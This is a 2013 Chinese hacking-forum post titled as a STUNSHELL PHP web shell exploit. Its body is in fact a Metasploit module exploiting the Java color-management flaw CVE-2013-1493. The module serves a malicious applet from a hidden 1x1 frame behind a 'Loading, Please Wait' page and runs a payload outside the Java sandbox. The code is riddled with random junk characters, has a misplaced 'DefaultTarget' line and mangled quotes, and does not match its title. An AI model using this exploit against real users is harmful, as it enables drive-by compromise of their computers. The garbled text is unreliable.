找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2036|回复: 0
打印 上一主题 下一主题

STUNSHELL PHP Web Shell远程执行代码

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:31:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
##
& j- y; G- }1 j- n& u2 w/ F
- R, A) K, R$ v' {# This file is part of the Metasploit Framework and may be subject to( F8 J; }- g6 R4 ]3 _5 F+ `5 ~: w
# redistribution and commercial restrictions. Please see the Metasploit8 q& k% O' E- a
# web site for more information on licensing and terms of use.
. s" l4 n* x/ M- a; A# http://metasploit.com/
  r& e  B# }0 b9 G##
) r8 [+ r- C' \require ‘msf/core’
4 L% k# f2 T! H. g5 E2 A# ^+ h. Vrequire ‘rex’7 l/ P! t; s" P& K
class Metasploit3 < Msf::Exploit::Remote
: I  n, N! g% x6 [' f$ W% o5 rRank = NormalRanking
0 o5 w+ y9 i0 n# O" j, Linclude Msf::Exploit::Remote::HttpServer::HTML3 H9 b% b0 T+ o0 x
include Msf::Exploit::EXE
% ?! W7 {: |2 `include Msf::Exploit::Remote::BrowserAutopwn
& S9 C) J* w: ]( `& Kautopwn_info({ :javascript => false })
% U3 l% s3 b/ q: Xdef initialize( info = {} )
' \) V  V) v8 `* nsuper( update_info( info,. V, c1 M# }. n  }' C+ w4 ^
‘Name’ => ‘Java CMM Remote Code Execution’,9 m/ p$ j" n9 a9 \' b$ ^
‘Description’ => %q{
8 J9 t+ ^) [& \. Y7 A$ zThis module abuses the Color Management classes from a Java Applet to run, d: E  v" O% Y& w7 K
arbitrary Java code outside of the sandbox as exploited in the wild in February1 N( [, X/ M) B( ~6 M7 M3 O9 I
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41) v1 r" f' N, {- P; e
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
7 x( w' C8 |# x# psystems. This exploit doesn’t bypass click-to-play, so the user must accept the java0 ?( c% T3 C' \! e
warning in order to run the malicious applet.
! k& t, o$ R) K  T4 b, V},
) k. S! v5 N% U3 n‘License’ => MSF_LICENSE,
+ _' y; k2 X" c: V‘Author’ =>/ T9 d9 j7 X! Q6 a# J5 _! g
'Unknown', # Vulnerability discovery and Exploit2 a9 k( T: W" o0 D5 a* ]
'juan vazquez' # Metasploit module (just ported the published exploit)
) e2 m: y* }+ U2 J' Q: r3 [],9 I1 A; y" }) F( |
‘References’ =>" `2 b, V5 I6 {
[
6 p: W' Q2 V% n% P5 l) a[ 'CVE', '2013-1493' ],
- Y4 M, H3 P( s! F[ 'OSVDB', '90737' ],' i- Z! \: E4 ^1 \1 O  e
[ 'BID', '58238' ],
1 t- J( g3 S0 v3 q6 J+ w- K[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],6 J' g. e1 B5 N2 |; A5 b4 ]
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],: |& t& q  E3 j6 e. N
[ 'URL', 'http://pastie.org/pastes/6581034' ]0 q; o' M* ]% |' \5 K! Z/ P
],. b1 ?1 @% T" k" H, x; L
‘Platform’ => [ 'win', 'java' ],7 j. i; |, v) W  {1 s& u
‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
5 t! A7 t8 g5 ^‘Targets’ =>
( j- v' m; \  h[
8 h5 N6 i# g- m- N3 u6 [& w[ 'Generic (Java Payload)',
; K! G% H' A6 b8 H1 ~, U1 W{
" i" P/ z! t* z  d$ U* ^'Platform' => 'java',
& ^9 Y- o1 P$ D+ ['Arch' => ARCH_JAVA& d, I& ~/ `1 d- q
}3 J8 Z+ J  Z2 @
],
( ~* M4 B7 S- @! Q1 l: `2 u6 N' p[ 'Windows x86 (Native Payload)',
* I' }9 Z& w2 p9 [" X{
* M) C8 ?' e- e$ B'Platform' => 'win',
8 e2 T5 {, C# B$ O/ k0 d5 {) }" \'Arch' => ARCH_X86  s, g% Z1 S- @
}
9 Y7 \; \+ I, I; z( Q. z]' M3 o" P7 @; d5 c) ~
],) L+ P# i1 D1 V6 Q& p! ]$ M
‘‘DisclosureDate’ => ‘Mar 01 2013′
8 r% v. ?- j' }))
, \% M7 R$ ^" zend$ S' r+ Q+ p! \9 J
def setup
, L" ~& A' M% [3 l! P3 Cpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)  W' \% G0 m: m0 j+ B  R
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
; S) N, @7 m6 l2 ?* _: A7 N( wpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)7 W# d' c3 d! x% s% L
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }( o1 f; `4 J* U3 _
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)
9 T" u9 H. f( t/ l# O5 T@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
% V" ]4 g7 v: h5 Epath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)5 |8 [( L' M+ y! t& I! H1 Z5 W
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }; N: N! G/ ]3 X
@init_class_name = rand_text_alpha(“Init”.length)$ C* P8 |) c( u3 X8 \: E' @
@init_class.gsub!(“Init”, @init_class_name)3 r  X, V+ T' m0 l: v1 _3 A& k
super5 n9 B& x: T5 `
end/ ~! `. k7 N" K5 V& H+ E0 @; {% k( o
def on_request_uri(cli, request)
; A* {; I# k! P. s4 Pprint_status(“handling request for #{request.uri}”)6 _" O# Q/ ^$ j6 }* P% h, w
case request.uri3 w5 E( n  x) L* q( c% m" K
when /\.jar$/i
2 k# ^3 P* q$ Fjar = payload.encoded_jar
. `' h! j+ @6 sjar.add_file(“#{@init_class_name}.class”, @init_class)
' ?. [3 z4 n4 |" Z1 C7 N+ {jar.add_file(“Leak.class”, @leak_class)
# j( i# J/ A- P$ R) }# Bjar.add_file(“MyBufferedImage.class”, @buffered_image_class)
* A$ ?$ ~* }  k: x$ rjar.add_file(“MyColorSpace.class”, @color_space_class)
3 x2 _3 `4 f0 s. H2 u% CDefaultTarget’ => 1,
4 G& {8 w2 `9 ]& P$ f3 p4 Ametasploit_str = rand_text_alpha(“metasploit”.length)
& }3 m/ J" K/ [4 G. r: jpayload_str = rand_text_alpha(“payload”.length)- O; t  w7 P/ ]
jar.entries.each { |entry|; Z! ?& v% P. s" e" i+ V
entry.name.gsub!(“metasploit”, metasploit_str)
2 w+ J; I, p# s0 F, E8 [entry.name.gsub!(“Payload”, payload_str)9 j) b( i" p3 J1 L# z$ ^
entry.data = entry.data.gsub(“metasploit”, metasploit_str)! i' f5 @6 u# X6 U, r
entry.data = entry.data.gsub(“Payload”, payload_str)
1 ]0 Q' d6 c& n3 a( Z; g: V; J}2 W2 ]0 Z1 }5 u- c
jar.build_manifest
4 p5 y* \& n* J" ^send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
9 R, t8 A7 z4 `9 s& E3 Lwhen /\/$/
" s4 Y4 i$ I' ]  R  o. Jpayload = regenerate_payload(cli)
% Q6 @$ q/ `. S7 z! mif not payload
8 t6 B* Q) f7 Y: j/ K+ O2 Eprint_error(“Failed to generate the payload.”)
) S8 Y% }! D. M8 l) `send_not_found(cli)
1 e* O, D2 M# t- B1 V* Mreturn" e- J+ |, R! |9 F6 Q' B: }
end
! }1 r6 p9 u) A8 N$ t2 g8 jsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })8 |! m; x* T2 L/ L  y( q, T) O
else
2 \! E$ G& P7 y% A2 J- Nsend_redirect(cli, get_resource() + ‘/’, ”)
0 k2 S1 {! A* Oend
, {# d5 V5 C' B  _end  r. L# W0 L6 _) e  B3 d) z0 K( u$ a
def generate_html# m0 G+ @3 x/ ^9 g# o
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
9 k4 `" j/ I; T! ~0 J, Khtml += %Q|<body><center><p>Loading, Please Wait…</p></center>|
9 o4 F/ X  W/ _! f: T) {2 Q: Ehtml += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
' r7 u5 }) J: i- l. n& Thtml += %Q|</applet></body></html>|. L6 ?& ?& @/ W1 w7 N9 t! h+ S
return html
! {- N* O# q5 J& Iend
) Y0 [' {( Y; U* send/ P0 C, s: s, ]; G/ I& e0 ~
end( l! G! j0 b# ~+ V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表